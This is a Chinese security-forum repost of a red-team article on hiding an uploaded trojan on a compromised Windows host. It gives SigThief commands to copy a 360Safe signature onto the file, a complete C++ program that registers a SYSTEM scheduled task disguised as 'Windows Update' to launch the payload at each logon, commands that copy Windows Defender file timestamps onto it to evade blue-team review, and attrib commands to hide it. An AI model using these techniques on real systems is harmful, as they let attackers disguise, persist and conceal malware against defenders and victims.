安全矩阵

 找回密码
 立即注册
搜索
查看: 888|回复: 0

红队技术 - 隐藏上传的程序木马

[复制链接]

102

主题

102

帖子

330

积分

中级会员

Rank: 3Rank: 3

积分
330
发表于 2024-3-25 00:33:21 | 显示全部楼层 |阅读模式
本帖最后由 jiangmingzi 于 2024-3-25 00:33 编辑

Hyyrent 潇湘信安 2024-03-03 08:30 湖南

1、exe 伪装正常程序

https://github.com/secretsquirrel/SigThief

python sigthief.py -i 360Safe.exe -t notepad.exe -o tes.exe

-i 为签名文件
-t 为需要伪造的文件
-o 为输出文件



https://www.trustasia.com/solution/sign-tools



图标提取
https://github.com/JarlPenguin/BeCyIconGrabberPortable



图标替换(Resource hacker)




2、调用计划任务 API 维权

使用计划任务对木马程序做好维权



// Tasksch.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#define _WIN32_DCOM
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <comdef.h>
//  引入计划任务头
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")

using namespace std;

int __cdecl wmain()
{

    // 初始化COM
    HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
    if (FAILED(hr))
    {
        printf("\nCoInitializeEx failed: %x", hr);
        return 1;
    }

    // 注册安全性并设置该过程的默认安全性值。
    hr = CoInitializeSecurity(
        NULL,
        -1,
        NULL,
        NULL,
        RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
        RPC_C_IMP_LEVEL_IMPERSONATE,
        NULL,
        0,
        NULL);

    LPCWSTR wszTaskName = L"Windows Update"; //设置计划任务名称

    //创建ITaskService的实例

    ITaskService* pService = NULL;
    hr = CoCreateInstance(CLSID_TaskScheduler,
        NULL,
        CLSCTX_INPROC_SERVER,
        IID_ITaskService,
        (void**)&pService);

    // 链接到任务实例
    hr = pService->Connect(_variant_t(), _variant_t(),
        _variant_t(), _variant_t());

    //     获取指向根任务文件夹的指针。
    ITaskFolder* pRootFolder = NULL;
    hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);

    //  如果存在相同的任务删除该任务
    pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0);

    //  创建任务生成器对象以创建任务。
    ITaskDefinition* pTask = NULL;
    hr = pService->NewTask(0, &pTask);

    pService->Release();  //清理Com

    // 获取注册信息
    IRegistrationInfo* pRegInfo = NULL;
    hr = pTask->get_RegistrationInfo(&pRegInfo);
    BSTR ms = SysAllocString(L"Microsoft");                               // 修改你想要改的计划任务创建者

    //  创建计划任务设置
    ITaskSettings* pSettings = NULL;
    hr = pTask->get_Settings(&pSettings);

    //      设置任务的设置值
    hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
    pSettings->Release();

    //  ------------------------------------------------------
    //  获取取触发器集合以插入登录触发器。
    ITriggerCollection* pTriggerCollection = NULL;
    hr = pTask->get_Triggers(&pTriggerCollection);

    //  添加触发器
    ITrigger* pTrigger = NULL;
    hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger);   //TASK_TRIGGER_EVENT 事件触发
    // TASK_TRIGGER_TIME   特定时间触发
    // TASK_TRIGGER_DAILY  每天触发
    // TASK_TRIGGER_WEEKLY 每周触发
    // TASK_TRIGGER_MONTHLY  每月触发
    // TASK_TRIGGER_MONTHLYDOW 按每月的星期几触发
    // TASK_TRIGGER_IDLE   系统空闲时触发
    // TASK_TRIGGER_REGISTRATION   注册任务时触发
    // TASK_TRIGGER_BOOT   启动触发
    // TASK_TRIGGER_LOGON  用户登录触发
    // TASK_TRIGGER_SESSION_STATE_CHANGE   会话更改时触发
    pTriggerCollection->Release();

    ILogonTrigger* pLogonTrigger = NULL;
    hr = pTrigger->QueryInterface(
        IID_ILogonTrigger, (void**)&pLogonTrigger);
    pTrigger->Release();

    hr = pLogonTrigger->put_Id(_bstr_t(L"Trigger1"));

    /*
    //设置指定触发时间 如果不设置 代表任何时间都可以触发
    hr = pLogonTrigger->put_StartBoundary( _bstr_t(L"2020-10-30T08:00:00") );
    hr = pLogonTrigger->put_EndBoundary( _bstr_t(L"2020-10-30T08:00:00") );
    */

    /*
    //  定义某个用户 登录时触发 注释掉代表所有用户登录后触发
    hr = pLogonTrigger->put_UserId( _bstr_t( L"administrator" ) );   //某用户登录后触发 设置某用户                                                                                                        //put_UserId    获取或设置用户的标识符。 参数 BSTR user
                                                                                                                //HRESULT put_UserId(                                                                                              //);
    pLogonTrigger->Release();
   */

    IActionCollection* pActionCollection = NULL;
    hr = pTask->get_Actions(&pActionCollection);
    IAction* pAction = NULL;
    hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction); //触发程序执行:TASK_ACTION_EXEC
    IExecAction* pExecAction = NULL;
    hr = pAction->QueryInterface(
        IID_IExecAction, (void**)&pExecAction);

    hr = pExecAction->put_Path(_bstr_t(L"C:\\Users\\Public\\AccountPictures\\new_msedge.exe"));
    pExecAction->Release();
    if (FAILED(hr))
    {
        printf(" 无法设置程序执行路径: %x", hr);
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }

    IRegisteredTask* pRegisteredTask = NULL;

    hr = pRootFolder->RegisterTaskDefinition(
        _bstr_t(wszTaskName),
        pTask,
        TASK_CREATE_OR_UPDATE,  // 创建并覆盖现有的计划任务:TASK_CREATE_OR_UPDATE
        //仅更新:TASK_UPDATE
        //仅创建:TASK_CREATE
        //禁用:TASK_DISABLE

        _variant_t(L"system"),  // 启动身份 system 或者administrator
        _variant_t(),
        TASK_LOGON_GROUP, //登录技术  组激活:TASK_LOGON_GROUP 用户登录后激活:TASK_LOGON_INTERACTIVE_TOKEN
        _variant_t(L""),
        &pRegisteredTask);

    if (FAILED(hr))
    {
        printf("\n无法保存计划任务 : %x", hr);
        pRootFolder->Release();
        pTask->Release();
        CoUninitialize();
        return 1;
    }

    printf("Success!成功注册计划任务 ");

    // Clean up
    pRootFolder->Release();
    pTask->Release();
    pRegisteredTask->Release();
    CoUninitialize();
    return 0;
}


https://github.com/0x727/SchTask_0x727

SchTask.exe de.exe 1




运行后会自动迁移程序至

C:\Users\HAHA\AppData\Roaming\Microsoft\Windows\Themes
C:\Users\HAHA\AppData\Roaming\Microsoft\Windows\Themes\fontdrvhost.exe
C:\Windows\System32\Tasks\Microsoft\Windows\UPnP\fontdrvhost
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\UPnP\fontdrvhost


3、修改文件时间

当我们上传 cs 木马至服务器的时候,由于修改日期是新的,蓝队人员很容易通过 everything 筛选时间排查出



这时候我们就需要使用一些技巧进行隐藏

https://github.com/MsF-NTDLL/ChTimeStamp

通过这个项目实现修改文件时间,先看看预览效果



net3.5 安装
查看net版本  
shell reg query "HKLM\Software\Microsoft\NET Framework Setup\NDP" /s /v version | findstr /i version | sort /+26 /r

需要安装net3.5 没有安装一下
shell dism.exe /online /enable-feature /featurename:netfx3 /Source:C:\Users\hack\Desktop\dotnetfx35.exe
DISM /Online /Enable-Feature /All /FeatureName:NetFx3 /LimitAccess /Source:\sources\sxs

https://github.com/MsF-NTDLL/ChTimeStamp
shell copy "C:\Program Files\Windows Defender\MpClient.dll" C:\Users\Public\AccountPictures\MpClient.dll
shell C:\Users\Public\AccountPictures\ChTimeStamp.exe C:\Users\Public\AccountPictures\new_msedge.exe C:\Users\Public\AccountPictures\MpClient.dll



https://github.com/sorabug/ChangeTimestamp
ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27



4、深度隐藏 exe

在目录下选择查看隐藏文件仍无法查看
attrib +s +h +r xxx.exe
attrib -s -h -r C:\Users\Public\sbqs.exe


处理前



处理后


文章作者: Hyyrent
文章链接: https://pizz33.github.io/posts/ffbd3579f38f/

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 22:45 , Processed in 0.013270 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表